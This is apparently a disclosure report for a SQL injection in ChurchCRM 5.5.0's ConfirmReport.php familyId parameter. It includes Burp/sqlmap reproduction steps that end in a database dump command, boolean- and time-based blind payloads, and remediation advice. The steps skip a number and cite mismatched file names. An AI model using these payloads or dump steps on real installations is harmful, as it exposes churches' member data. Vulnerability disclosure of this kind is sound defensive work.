Description
If you have the ChurchCRM software running, please file an issue using the Report an issue in the help menu.
On what page in the application did you find this issue?
ConfirmReport.php
On what type of server is this running? Dedicated / Shared hosting? Linux / Windows?
Linux
What browser (and version) are you running?
Firefox
What version of PHP is the server running?
8.3.2
What version of SQL Server are you running?
11.2.2
What version of ChurchCRM are you running?
5.5.0
Severity: high
Credits :
Georgios Bitounis
Description:
SQL injection vulnerability in ChurchCRM v.5.5.0 allows a remote attacker to obtain sensitive information via the familyId GET parameter within the /ConfirmReport.php
Step 1 : Go on your browser paste this : /Reports/ConfirmReport.php?familyId=1 make sure that you intercept with burpsuite and press enter.
Step 3 : On burpsuite, Right click on the request, Save item.
Step 4: sqlmap -r EventNames.txt
Step 5: sqlmap -r Event_Attendance_sql_url --dump
Impact:
SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.
Affected Component:
/Reports/ConfirmReport.php?familyId=1
Technical Details:
The vulnerability is caused by the failure of the backend to effectively validate user input. An attacker can insert malicious sql code and dump the database, allowing the attacker to steal sensitive information and all the other neferious things.
Proof of Concept (PoC):
Parameter: familyId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: familyId=1) AND 6759=6759 AND (3522=3522
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: familyId=1) AND (SELECT 5618 FROM (SELECT(SLEEP(5)))dJwl) AND (1675=1675
Remediation:
1.Input validation: The simplest approach is Prepared Statements, all user input should be validated,filtered on the server-side to ensure that it conforms to the expected format and does not contain any malicious code.